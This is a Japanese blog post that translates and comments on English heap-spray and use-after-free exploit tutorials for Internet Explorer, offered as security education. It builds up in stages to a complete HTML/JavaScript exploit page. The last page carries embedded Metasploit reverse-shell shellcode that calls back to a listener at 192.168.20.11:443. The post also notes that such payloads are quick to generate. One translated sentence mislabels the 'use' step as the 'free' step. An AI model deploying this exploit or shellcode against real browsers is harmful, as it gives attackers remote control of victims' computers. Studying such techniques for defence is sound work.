Windows XP等の，IE脆弱性の攻撃方法「ヒープ・スプレー」と「Use After Free」を，HTMLサンプルコードで理解しよう

HTMLとJavaScriptで，IEの脆弱性を攻撃できる。
（※具体的なサンプルコードも本記事に掲載）

それが「Use After Free」および「ヒープスプレー」。

ちょうど２０１４年４月にWindows XPのサポート終了後すぐ，

この脆弱性を攻撃するウィルスが発見され，大騒ぎになった。

正確に言うと「サポート終了後に発見された」のではなく，

XPのサポートが終わって無防備になったタイミングを見計らってウィルスが使われた。

2014年4月のIEのセキュリティホール：

JVNVU#92280347: Internet Explorer に解放済みメモリ使用 (use-after-free) の脆弱性
http://jvn.jp/vu/JVNVU92280347/
Microsoft が提供する Internet Explorer には、解放済みメモリ使用 (use-after-free) の脆弱性が存在します (CWE-416)。
なお、本脆弱性を悪用した攻撃が観測されているとの情報が公開されています。
想定される影響：細工された HTML ドキュメントを閲覧することで、任意のコードを実行される可能性があります。

Windows XPのサポート終了後に発見されたInternet Explorer の脆弱性 - フォーティネット
http://www.fortinet.co.jp/security_bl...
このエクスプロイトの仕組み Internet Explorerでは、攻撃者によるリモートでのコードの実行を可能にする開放済みメモリ使用の脆弱性（具体的なコンポーネントはVGX.DLL）が発見されています。
通常の他の多くのマルウェアキャンペーンや標的型攻撃と同様に、最初の攻撃は特別に作成されたEメールを使って実行されます。

このEメールは、本文に含まれるリンクをユーザーにクリックさせ、攻撃者の管理下にあるサイトに誘導するよう設計されています。
このサイトを訪問すると、AdobeのFlash Playerをインストールしているユーザーを対象に設計されたFlashファイル（SWF）がダウンロードされます。

ここでは、エクスプロイトの確実性を上げることを目的に、メモリの割り当て方法を操作するための手法が用いられます。
これはheap feng shui（ヒープ風水）やヒープスプレーとして広く知られています。

この手法は攻撃者によるIEのメモリレイアウトのコントロールのほか、通常はRCEの保護となるアドレス空間配置のランダム化（ASLR）など、エクスプロイトを緩和するための最新機能の迂回を可能にします。

このエクスプロイトに関する報告では、確実な攻撃を助長するためにFlashが用いられていることが明記されているものの、ASLRを迂回するために他の手法が使われている可能性があることに注意が必要です。
ここでは、ヒープスプレーの確実な方法の提供を目的にFlash攻撃の手法が用いられています。

セキュリティのトビラ (12) IE脆弱性の"緩和策"と、ユーザへの正しい伝え方を考える | マイナビニュース
http://news.mynavi.jp/column/secdoor/...
攻撃する側は以前から脆弱性情報を持っていてサポート終了のタイミングを待って攻撃してきたのかもしれません。
自分が攻撃を行う側であればそのほうが得策であると誰しもが考えるでしょう。
つまり、Windows XPにとっては「永遠の0デイ」となる可能性が出てきたわけです。
まさに、不治の病の発覚とも言えます。

昔から「Use After Free」および「ヒープスプレー」は存在していた。

このIEのセキュリティホールは今回だけでなく，今後もずっと目にする事になるだろう。

このような「任意のコードが実行されてしまう仕組み」は，プログラミングに携わる人間なら理解しておきたい。

システムの理解や，防御に役立つから。

IEに関して言うと，よっぽどのIT初心者でない限り，「IEを使う」などという愚かな行為は誰もしないだろう。自殺行為だ。

HTMLとJavaScriptのWebページを開いただけで，PCを遠隔操作されたり，OSにウィルスを植え込まれるんだから。

（※MSFpayloadというソフトでreverse_tcpオプションを付ければ，そういう遠隔操作のプログラムは一瞬で作れる。詳しくは下記の解説で紹介）

だが「ヒープスプレー」は，IE以外でも応用される攻撃手法である。非IEユーザにも影響を及ぼすのだ。

そこで，以下では

ヒープスプレーとUse After Freeは，どういうセキュリティホールなのか

どういう方法なのか。HTMLとJavaScriptで実現する方法は？

を記載する。セキュリティ対策に役立ててほしい。

なお，ここから先の情報を読むための前提知識，

そもそもメモリの「ヒープ」とは何か：

学校では教えてくれないこと | 技術コラム集（組込みの門） | ユークエスト
http://www.uquest.co.jp/embedded/lear...

スタックとヒープの違い。領域の確保の方法が「静的確保」か「動的確保」か。

コンパイルの時点でスタック領域のサイズは決定済み

ヒープはアプリ側で必要に応じて確保する。あの「malloc」とか。サイズが可変の変数

この脆弱性と攻撃方法の，かみくだいた言葉による解説

まず，要点を簡潔に。

理解すべき２つの用語：

（１）IE等のブラウザが持つセキュリティホール「Use-After-Free脆弱性」

（２）Use-After-Free脆弱性を攻撃しやすくする攻撃手段の「ヒープスプレー」

（１）「Use-After-Free脆弱性」の大まかな説明：

使わなくなったオブジェクト（データ）への参照が不正に残っており，その参照先が別のデータに書き換えられたあとに参照を呼び出すと，意図せぬプログラムが実行されてしまう。

参照を不正に残す方法としては，親オブジェクトと子オブジェクトが存在し，親を削除したが子オブジェクトへの参照を保持し続けてしまい，親の削除後に子オブジェクトへの参照を利用すると，意図せぬ別のデータが読み込まれてしまう。

こういった不正な参照が起こらないように，普通は参照を厳重に管理するのだが，どこかで管理を忘れると脆弱性となる。

（２）「ヒープスプレー」のおおまかな攻撃手順：

２つのオブジェクトを宣言する。それぞれオブジェクト１，オブジェクト２とする。すると，２つのデータのメモリ上の位置は連続しているか，非常に近くなる。

オブジェクト１はそのままにしておく。

オブジェクト２において「Use-After-Free脆弱性」を発生させる。つまり，オブジェクト２の親を削除し，オブジェクト２そのものへの参照だけは残しておく。

オブジェクト１に巨大な文字列の値，つまり攻撃用のコードを代入する。すると，オブジェクト１の近く（隣接したアドレス）には，すでに使わなくなったオブジェクト２のアドレスもあるから，そのアドレス上の値もオブジェクト１によって上書きされる。

使わなくなったはずのオブジェクト２への参照を呼び出す。すると，オブジェクト１の値が呼び出されてしまい，攻撃用のコード文字列が実行されてしまう。

ヒープスプレーの特殊なテクニック：

攻撃用の文字列として，「アセンブラのNOP」とも「メモリ上のアドレス番地」とも二重に解釈できるような文字列を使用すること。

どういう事なのか，下記の解説で理解してゆく。

Webのセキュリティだが，アセンブラも用いる。

「ヒープスプレー」の具体的なサンプルコード（HTML＋JavaScript）つき記事

日本語では，詳しい解説がどこにもない。

なので，私がここで翻訳することにする。

下記の２つのページにある解説から，重要な部分だけ抜粋してミックスする。

The Grey Corner: Heap Spray Exploit Tutorial: Internet Explorer Use After Free Aurora Vulnerability
http://www.thegreycorner.com/2010/01/...

Exploit writing tutorial part 11 : Heap Spraying Demystified | Corelan Team - Part 8
https://www.corelan.be/index.php/2011...

〜〜抜粋と翻訳ここから〜〜

ヒープスプレーを使ったエクスプロイトのチュートリアル：IEの「Ude After Free / Aurora」脆弱性

this vulnerability does not involve a buffer overflow, and instead makes use of heap corruption that occurs when an object's memory space on the heap is accessed after being first freed and then overwritten.
この脆弱性は，バッファオーバーフローを使わない。かわりに，あるオブジェクトのヒープ上領域が開放された後にその領域を上書きし，その後該当する領域にアクセスが発生するというヒープ損傷方式を取っている。

Despite the fact that this exploit is not a traditional buffer overflow, the techniques used are similar enough for me to include this tutorial in this series.
昔ながらのバッファオーバーフローではないとはいえ，バッファオーバーフロー関連のテクニックとして掲載するだけの十分な類似性がある。

This vulnerability was originally discovered in the wild, and was used as part of the well publicised attack on Google that was (allegedly) performed by the Chinese.
この脆弱性は実際に存在するウィルスや攻撃によって一般の目にも発見されることになった。よく知られている，中国によって行なわれた（との疑いのある）グーグルへの攻撃にも，この脆弱性が利用されている。

...this exploit takes advantage of a user after free vulnerability in Internet Explorer.
このエクスプロイトは，IEのUse After Free脆弱性を利用している。

コンセプトを確認するためのHTMLサンプルコード：

<html>
<script>

// 適当な文字（ここではAAA）を使ってcomment要素を作成。
// のちにdataは上書きによって書き換えられる
var Array1 = new Array();
for (i = 0; i < 200; i++)
{
  Array1[i] = document.createElement("COMMENT");
  Array1[i].data = "AAA";
}

var Element1 = null;

// imgタグのonloadイベントによって呼び出される関数。
// イベントオブジェクトを生成するが，それを削除し，
// さらにその部分のメモリを上書きしようとする。
function FRemove(Value1)
{ 
  Element1 = document.createEventObject(Value1);
  document.getElementById("SpanID").innerHTML = ""; // 親要素を削除してヒープ領域をfreeさせる
  window.setInterval(FOverwrite, 50); // 上書きを実行
}

// 削除されたオブジェクトのヒープメモリを上書きしてから
// オブジェクトにアクセスを試みることでクラッシュを引き起こす
function FOverwrite()
{
  buffer = "\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA";
  for (i = 0; i < Array1.length; i++)
  {
    Array1[i].data = buffer; // 文字列を使って，削除されたオブジェクトのヒープ領域のメモリを上書きする
  }
  var a = Element1.srcElement; // 削除されたオブジェクトへのポインタでアクセスし，クラッシュを起こす
}

</script>

<body>
<span id="SpanID"><IMG src="/abcd.gif" onload="FRemove(event)" /></span></body></html>
</body>
</html>

The FRemove function creates the Element1 object using the IMG tag as a parameter, deletes the parent SpanID object, and calls the FOverwrite function, which it will rerun every 50ms.
まずIMG要素からオブジェクトを作り，親SPAN要素を削除して，上書き関数を呼ぶ。

This is the "free" part of the use after free vulnerability, we have freed the heap memory owned by the Element1 object when we set the SpanID object to a null value.
これが，Use After FreeのFreeの部分にあたる。spanにnullを代入することによって，IMG要素のオブジェクトが使っていたヒープメモリを開放したのだ。

The FOverwrite function then changes the data of the COMMENT elements created earlier, in an attempt to overwrite the heap memory location associated with the Element1 object.
次に，前もって作成されていたcomment要素オブジェクトのプロパティを改変し，削除済みのIMG要素に関連付けられていたヒープメモリを上書きする。

After all of the 200 COMMENT values are changed, we try to access the Element1 object by assigning a property of the object to the "a" variable, and if the heap memory of this object has been correctly overwritten, we should now get an exception.
プロパティ書き換えが終わった後，削除したはずのIMG要素オブジェクトへのアクセスを試みる。ヒープメモリが適切に上書きされていれば，例外が起こる。

This is the "use" part of the use after free vulnerability.
これがUse After Free脆弱性のFreeの部分にあたる。

After a short wait we should have an exception triggered in our debugger.
少し待てば，デバッガ上に例外発生が表示される。

The exception we should see is an access violation trying to read AAAAAAAA, which is the value that should be stored in the ECX register.
ここで起こった例外は，メモリのアドレスAAAAAAAAへのアクセス試行による違反であり，そのアドレスはECXレジスタ上に格納されている。

7D4F2531 8B01 MOV EAX,DWORD PTR DS:[ECX]

7D4F2533 FF50 34 CALL DWORD PTR DS:[EAX+34]

The first instruction, MOV EAX,DWORD PTR DS:[ECX] is attempting to move a DWORD sized section of memory, located at the address pointed to by the ECX register, into the EAX register.
最初の命令はMOV EAX,DWORD PTR DS:[ECX]であり，これは，ECXレジスタ内に格納されたアドレスから，サイズがDWORDであるようなメモリ上の領域をEAXレジスタにコピーする，というものだ。

In other words, the system is taking the value of ECX, which is AAAAAAAA, and trying to read 4 bytes of memory from this memory address to copy to register EAX.
言いかえれば，システムはECXレジスタの値つまりAAAAAAAAを取って，そのようなアドレス上から4バイトを読み取り，EAXレジスタにコピーしている。

Since AAAAAAAA is not a valid address in memory, we get an access violation trying to read this address, and the program stops in the debugger.
AAAAAAAAはメモリ上の有効なアドレスではないので，このアドレスを読み取ろうとすると読み取り違反になり，デバッガ上でプログラムは停止する。

If the register ECX did contain a valid memory address, such as 0013E174, then four bytes of data stored at this memory address would be used to set the value of EAX.
もしもECXレジスタが有効なメモリアドレスとして例えば0013E174のような値を格納していたら，そのアドレス上の4バイト分のデータが読み取られ，EAXの値としてセットされる。

So if we set the value of ECX to a valid memory address, we could control the value of EAX, but what good does setting the value of EAX do exactly?
なので，ECXに有効なアドレスをセットできれば，EAXの値を制御できるということになる。これはどう役に立つのか？

Well, if you look at the next instruction, it is attempting to CALL a function located at the memory location pointed to by the EAX register plus 0x34.
次に実行される命令を見ればわかる。EAXレジスタの値に0x34を足した位置のアドレスにある関数をCALLしているのだ。

So if we can set EAX such that the value of EAX plus 0x34 points to a location of memory that we control, and this area contains some shellcode we have provided, then we have the ability to execute code of our choice.
なので，EAXに0x34を足した部分のアドレスが，自分で好きな値を書き込んだ部分を指すようにできれば，その領域には攻撃用のシェルコードを埋め込む事ができるのだから，自由に任意のコードを実行する自由を得ることになる。

This may seem like a lot to ask at first. We need to:
これは初見では高い要求に思える。必要とされることを列挙すると：

Copy our shellcode into memory,
メモリ上に攻撃用のシェルコードを読み込む必要があるし，

Know the starting address of the shellcode so we can copy it to memory somewhere. This is the address that is accessed by the pointer to EAX + 0x34.
シェルコードのメモリ上の開始アドレスを知って，そのアドレスをどこか別の場所にコピーできるようにする必要がある。上の例ではEAX+34が該当する。

Know the address that the previous address is stored in memory, so we can subtract 0x34 from it and then store that in memory. This is the address that ends up in EAX, accessed by a pointer from ECX.
前述のアドレスがメモリ上のどこかに保管されているとして，どこに保管されているのかというアドレスを知る必要がある。計算に必要なのは，上の例でいうとEAXの値というアドレスであり，ECXからのポインタで指し示される。

Know the address that the previous address is stored in memory, so we can send it in our free-heap-entry-overwriting buffer to overwrite ECX.
そのアドレスをも知る必要がある。ECXの値を書き換える際に使うデータであり，開放済みのヒープメモリ上で上書きしたいアドレス（そしてその後に不正に参照するアドレス）を指している必要がある。

That's three addresses in memory that we need to know, and while we might be able to find known locations in memory where the pointer addresses are already stored, determining a reliable location in memory for our shellcode could be difficult.
このように３つのアドレスを知る必要がある。既に実際に利用されているアドレスを知ることは可能だが，攻撃用のコードを動かすために安定して利用できるアドレスを前もって決定するのは困難である。

This is where heap spraying comes in.
そこでヒープスプレーの登場となる。

Heap Spraying

As the name suggests, heap spraying essentially involves "spraying" the heap with a large amount of data, including some tacked on shellcode.
この名前が示す通り，ヒープスプレーのかなめは大量のデータを「吹き付ける」ことであり，シェルコードの上にデータをくっつけるというものだ。

The eventual aim of placing all of this data onto the heap is to create the right conditions in memory to allow the shellcode to be executed when an exploitable crash is triggered in a process.
ヒープ上にこういったデータを配置する結局の目的は，プロセスによってエクスプロイト可能な例外が発生した際に，攻撃用のシェルコードが実行できるようなメモリ上の状態を作り出すことである。

The technique of heap spraying has been around for a number of years and was initially only used in browser exploits.
ヒープスプレーのテクニックは何年も使われており，もともとはブラウザだけのエクスプロイトとして使われていた。

Recently however, use of the technique has branched out into other areas, being used in PDF and Flash based exploits.
だが最近はほかの分野でも利用されており，PDFやFlashをベースにしたエクスプロイトも存在する。

Heap spraying is usable in any situation where the attacker can cause the victim process to allocate large blocks of data onto the heap.
ターゲットとなるプロセスが使用するヒープメモリ上に，大きな領域を占めるデータを配置可能であれば，ヒープスプレーはいかなる状況でも利用できる。

It is typically achieved via the use of scripting languages integrated in the vulnerable program.
脆弱性を持ったプログラムに内蔵されているスクリプト言語を媒介して実行されるのが常だ。

This allows the attacker to send code to the victim that generates the appropriate data on the heap, relieving the attacker of the burden of having to manually send the data to the client in another way.
このような状況であれば，ヒープ上に適当なデータを生成するように仕向けるようなコードを攻撃者から標的に送れば良い。攻撃者は，クライアント側にデータを送りやすくなる。

Considering the amount of data that is required in heap spraying (easily into multiple megabytes), using victim-side code to generate the data is often the only practical way to achieve this goal.
ヒープスプレーは数メガバイトのデータを使用する事も多い。こういったファイルサイズを考慮すると，クライアント側で動的にデータを生成するのが実際的な方法だ。

Heap spraying code is usually writen in Javascript (where it can run in Internet Explorer, Firefox, Acrobat Reader, etc) but has also been seen in ActionScript (Flash) and VBScript (Internet Explorer).
ヒープスプレーのコードはしばしばJavaScriptで書かれ，IEやFirefox，Acrobat Readerなどで動作する。Flash Action ScriptやIE向けのVBScriptで書かれる場合もある。

When using a heap spray method, we also want to be sure that we include the heap spray code into our exploit before the code that triggers the use after free exception, so that the heap will be ready when the exception occurs.
ヒープスプレーを用いる際には，Use After Freeの脆弱性を利用するコードよりも前の部分にヒープスプレーコードを埋め込む，ということを忘れないように。脆弱性を突くコードが実行される際には，既にヒープの準備が整っているようにする。

Lets now add this to our exploit. Make sure you include the call to HeapSpray in the FRemove() function. See the example code below.
これでエクスプロイトを作ってみよう。ヒープスプレーの処理を先ほどの例に追加する。

<html>
<script>

var Array1 = new Array();
for (i = 0; i < 200; i++)
{
  Array1[i] = document.createElement("COMMENT");
  Array1[i].data = "AAA";
}

var Element1 = null;

// ※Element1が定義された後で大量の領域をスプレーしている。
// Element1が開放された後にこのメモリがアクセスされて実行されることを狙っている。
// NOPとして解釈できるアセンブラコードと共にシェルコードを記述する。
function HeapSpray()
{
  Array2 = new Array();
  var Shellcode = unescape( '%ucccc%ucccc'); // 攻撃用のシェルコード
  var SprayValue = unescape('%u0c0d'); // スプレーして埋める用のNOPコード
  do { SprayValue += SprayValue } while( SprayValue.length < 870400 );
  for (j = 0; j < 100; j++) Array2[j] = SprayValue + Shellcode;
}

function FRemove(Value1)
{
  HeapSpray();
  Element1 = document.createEventObject(Value1);
  document.getElementById("SpanID").innerHTML = "";
  window.setInterval(FOverwrite, 50);
}

function FOverwrite()
{
  // ※大量の領域を上書きしてから
  buffer = "\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
  for (i = 0; i < Array1.length; i++)
  {
    Array1[i].data = buffer;
  }
  // ※削除したはずの子要素への参照を行なう
  var t = Element1.srcElement;
}

</script>

<body>
<span id="SpanID"><IMG src="/abcd.gif" onload="FRemove(event)" /></span></body></html>
</body>
</html>

If we check our ECX register in the debugger, it is set to 0C0D0C0D.
これでデバッガでECXレジスタの中身を確認すると，0C0D0C0D（メモリ上を上書きした値）になっている。

This part should not come as too much of a surprise to you, we sent this value to the program via the buffer variable in the FOverflow function.
これは驚く事ではないだろう。JSコード中でbufferという名前の変数を使ってこの値をメモリに送ってあるからだ。

Now if we follow the ECX register into our memory dump (Right click on register, select Follow in Dump) and check the four byte value we see in this location, it should be 0C0D0C0D, and it should be sitting within a large section of memory with the same repeating value.
ここでメモリダンプを見てみると，0C0D0C0Dという値があるわけだが，その周囲にもそれと同じ値が長く並んでいる。

we can then view the contents of memory as assembly instructions by right clicking and selecting Disassemble. (To get it back to the previous default view select Hex-＞Hex/ASCII(8 bytes)).
ディスアセンブルして，メモリの中身をアセンブリ命令として見てみよう。

You can also view these instruction in the CPU pane, by right clicking in the CPU pane, selecting Go to->Expression and entering the address 0C0D0C0D followed by hitting OK. You should now be seeing a large number of OR AL, 0D instructions.
（bufferに入っていた値である）0C0D0C0Dは「OR AL, 0D」という命令としてデバッガ上で表示される。

This command performs a OR operation on the AL register (which is the lower byte of the AX register, which itself is the lower two bytes of the EAX register) using the value 0x0D.
このデバッガ上で表示される命令は，ALレジスタ上で0x0DとのOR演算をせよという命令になる。ALレジスタとは，EAXレジスタの下位2バイトである。

The important point to realise here is that the instruction OR AL, 0D essentially acts as a NOP like instruction, allowing us to use a large number of these instructions as a NOP sled.
ここで重要な点がある。「OR AL, 0D」というこの命令が，本質的にはNOPと同じような働きをする命令であり，この命令をたくさん並べるとNOP sled（NOPがずっと並んでメモリ上をCPUがソリのようにスーッと動いてゆく例え）として動作する，という事なのだ。

We can land execution of the CPU anywhere within this NOP Sled, and it will happily cycle through each instruction, not doing anything that causes a crash or significantly changes the state of CPU execution, until we eventually land at our shellcode at the end of the sled.
このNOP sledの中にいる限り，クラッシュする事もなく，CPUの状態に重大な変化を引き起こす事もなく，必ずこの「ソリ」の最後にある攻撃用のシェルコードまで到達してくれるのだ。

※この辺が重要なのだが，少し分かりにくかったかもしれない。もう一つ別の例を引き合いに出して説明する。

Use-After-Free脆弱性を突いた際にMOVとCALLが並び，下記のような命令を実行させることに成功したとする。

MOV EAX,[EDX+4]

CALL EAX

Finding a pointer to a pointer to an address in the heap that contains your payload would be based on luck really.
上記のようなアセンブラ命令を適切に実行させて攻撃用コードを走らせるためには，ヒープ領域を指すようなポインタをさらに指すようなポインタを知る必要がある。ヒープスプレーなしにそれを成功させるのは，偶然に依存した確率でしかない。

Luckily, there is another way to approach this. With a heap spray, the address 0x0c0c0c0c will come in handy.
だが幸いにも，ちゃんとしたアプローチがある。ヒープスプレーを使えば，アドレス0c0c0c0cを使う事は簡単なのである。

Instead of putting nops + shellcode in each heap spray block, you would put a series of 0x0c’s + the shellcode in each chunk (basically replace nops with 0x0c), and make sure to deliver the spray in such a way that memory location 0x0c0c0c0c also contains 0c0c0c0c etc
メモリ領域に，0x0cをたくさんと，シェルコードの組み合わせを吹き付けることを考えてみよう。また，メモリアドレス0x0c0c0c0c上には0c0c0c0cが吹きつけられているようにする。

Then, you need to overwrite the pointer with 0x0c0c0c0c. This is what will happen:
そして，0x0c0c0c0cを指すようなポインタを作れたとする。すると下記のようになる。

MOV EAX,[EDX+4] ＜- put 0x0c0c0c0c in EAX
EAXレジスタ内に0x0c0c0c0cを代入する。

CALL EAX ＜- jump to 0x0c0c0c0c, which will start executing the bytes at that address
0x0c0c0c0cへとジャンプする。そのアドレスに代入されているバイト列を実行し始める

Here’s the beauty of this setup… If 0x0c0c0c0c contains 0x0c0c0c0c, we will end up executing 0c 0c 0c 0c (instructions)…
ジャンプ先のアドレスである0x0c0c0c0cには値として0x0c0c0c0cが入っている。それを命令として実行し始める。

OR AL,0C… that’s a NOP-alike instruction, so we win.
命令としては，「OR AL,0C」として解釈される。NOPと同等の動作をする命令だ。

So, by using an address that, when executed as opcode, acts as a nop, and contains bytes that point to itself, we can easliy turn a pointer overwrite/vtable smash into code execution using a heap spray. 0x0c0c0c0c is a perfect example, but there may be others too.
ﾒｲﾚｰコードとしてはNOPのように振る舞い，アドレスとしてはスプレー内領域に含まれるようなバイト列を使えば，ヒープスプレーによる攻撃用コードの実行に成功するのだ。0x0c0c0c0cというバイト列が格好の例である。ほかにも例はあるが。

In theory, you could use any offset to the 0C opcode, but you have to make sure the resulting address will be reached in the heap spray (for example 0C0D0C0D)
「0c」で始まるバイト列がしばしば用いられるので，0C0D0C0Dを使ってもよい。

Using 0D would work as well, however the instruction made up of 0D uses 5 bytes, which may introduce an alignment issue.
0dを使ってもよいが，命令として解釈する際には5バイトになるから，メモリ上の配置で困難を伴うことになる。

In 2006, Greg MacManus and Michael Sutton from iDefense published the Punk Ode paper that introduced the use of images to spray the heap.
画像のロードの寄って適切なヒープスプレーを実行する手段も発見されている。

ここでもとの説明に戻る。攻撃用のコードとして，「リモートデスクトップを許可させるコード」を指定すれば，遠隔操作が可能になる。

そのようなコードは，「MSFpayload」というソフトでreverse_tcpオプションを付ければらくらく生成できる。

そしてそのコードをヒープスプレー内に埋め込むようなHTMLサンプルコードは，下記の通り。

<html>
<script>

var Array1 = new Array();
for (i = 0; i < 200; i++)
{
  Array1[i] = document.createElement("COMMENT");
  Array1[i].data = "AAA";
}

var Element1 = null;

function HeapSpray()
{
  Array2 = new Array();
  // msfpayload windows/shell_reverse_tcp LHOST=192.168.20.11 LPORT=443 J
  var Shellcode = unescape( '%u9090%u9090%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%ua8c0%u0b14%u0268%u0100%u89bb%u6ae6%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff');
  var SprayValue = unescape('%u0c0d');
  do { SprayValue += SprayValue } while( SprayValue.length < 870400 );
  for (j = 0; j < 100; j++) Array2[j] = SprayValue + Shellcode;
}

function FRemove(Value1)
{
  HeapSpray();
  Element1 = document.createEventObject(Value1);
  document.getElementById("SpanID").innerHTML = "";
  window.setInterval(FOverwrite, 50);
}

function FOverwrite()
{
  buffer = "\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
  for (i = 0; i < Array1.length; i++)
  {
    Array1[i].data = buffer;
  }
  var t = Element1.srcElement;
}

</script>

<body>
<span id="SpanID"><IMG src="/abcd.gif" onload="FRemove(event)" /></span></body></html>
</body>
</html>

〜〜解説気所の翻訳ここまで〜〜

以上が具体例を交えた説明である。

Wikipediaの「Heap Spray」の日本語訳

ヒープ・スプレーについてのWikipedia上の言及も翻訳しておく。

Heap spraying - Wikipedia, the free encyclopedia
http://en.wikipedia.org/wiki/Heap_spr...

Heap spraying
From Wikipedia, the free encyclopedia

〜〜Wikipediaの翻訳ここから〜〜

In computer security, heap spraying is a technique used in exploits to facilitate arbitrary code execution.
コンピュータセキュリティにおいて，ヒープスプレーとは，エクスプロイトが任意のコードを実行しやすくするためのテクニックである。

The part of the source code of an exploit that implements this technique is called a heap spray.
このテクニックを実装しているエクスプロイトのソースコード断片をヒープスプレーという。

In general, code that sprays the heap attempts to put a certain sequence of bytes at a predetermined location in the memory of a target process by having it allocate (large) blocks on the process's heap and fill the bytes in these blocks with the right values.
一般的には，「ヒープをスプレーするコード」は，標的となるプロセスのヒープ上に巨大な領域を確保させ，その領域上を正当とみなされるバイト列で満たすことによって，そのプロセスが既に確保したメモリ上の領域に特定のバイト列を書き込む。

Operation：作用

A heap spray does not actually exploit any security issues but it can be used to make a vulnerability easier to exploit.
ヒープスプレー自体は何もセキュリティ上の問題を起こさないが，脆弱性を突きやすくするために用いられる。

A heap spray by itself cannot be used to break any security boundaries: a separate security issue is needed.
ヒープスプレーそのものはセキュリティ上の一線を踏み越えることはない。動作のためには，これとは別のセキュリティ上の問題が必要になる。

Exploiting security issues is often hard because various factors can influence this process.
セキュリティ上の問題をエクスプロイトするのはしばしば困難を伴う。さまざまな要素が影響するからである。

Chance alignments of memory and timing introduce a lot of randomness (from the attacker's point of view).
ほぼ偶然に基づくメモリの配置や，そのタイミングが，攻撃者の観点からするとランダム性を増し加える。

A heap spray can be used to introduce a large amount of order to compensate for this and increase the chances of successful exploitation.
その問題を乗り越えるために，ヒープスプレーは大きな「秩序」を作り，エクスプロイトの成功確率を増すのである。

Heap sprays take advantage of the fact that on most architectures and operating systems, the start location of large heap allocations is predictable and consecutive allocations are roughly sequential.
ヒープスプレーは，以下の事実を利用する。ほとんどのアーキテクチャやOSでは，巨大なヒープ領域の開始位置は予測可能であり，メモリの配置を繰り返すとそれらは連続的につながっている，という事だ。

This means that the sprayed heap will roughly be in the same location each and every time the heap spray is run.
これが何を意味するかというと，ヒープスプレーを実行すると，そのたびに毎回「ふきつけられたヒープ」はだいたい同じ位置にまとまるという事だ。

Exploits often use specific bytes to spray the heap, as the data stored on the heap serves multiple roles.
エクスプロイトコードは大抵，特定のバイト列を使ってヒープ領域をスプレーする。ヒープ領域上に格納されたデータは様々な役割を果たす。

During exploitation of a security issue, the application code can often be made to read an address from an arbitrary location in memory.
セキュリティ上の問題をエクスプロイトする際には，アプリケーション・プログラムはしばしば，メモリ上の任意の位置からの読み出しを実行させられる。

This address is then used by the code as the address of a function to execute.
このアドレスは，（次に）実行したい関数のアドレスとしてソースコード上で利用される。

If the exploit can force the application to read this address from the sprayed heap, it can control the flow of execution when the code uses that address as a function pointer and redirect it to the sprayed heap.
もしエクスプロイトが，スプレーされたヒープ領域内にあるアドレスからの読み出しをアプリケーションに行なわせることができれば，コードがそのアドレスを（次に実行したい）関数ポインタのアドレスとして使用し，次いで（再度）スプレーされたヒープ領域内へと（実行位置を）リダイレクトすることによって，コード実行の流れを制御することができる。

If the exploit succeeds in redirecting control flow to the sprayed heap, the bytes there will be executed, allowing the exploit to perform whatever actions the attacker wants.
もしエクスプロイトが制御フローをスプレーされたヒープ領域内へとリダイレクトすることに成功すれば，リダイレクト先のバイトが実行され，結果としてエクスプロイトは攻撃者の望むいかなるアクションをも実行することを容認されてしまう。

Therefore, the bytes on the heap are restricted to represent valid addresses within the heap spray itself, holding valid instructions for the target architecture, so the application will not crash.
それゆえに，もしヒープスプレーを実行したい場合，ヒープ上のバイトは，そのアーキテクチャ上で有効な命令を表わすことが要求される。その制約から外れてしまうと，単にアプリケーションはクラッシュするからだ。

It is therefore common to spray with a single byte that translates to both a valid address and a NOP or NOP-like instruction on the target architecture.
なのでスプレーに用いるバイトとしては，有効なアドレスとして解釈できるバイト，なおかつNOPかNOP風の命令としてそのアーキテクチャ上で解釈できるバイトを使う。

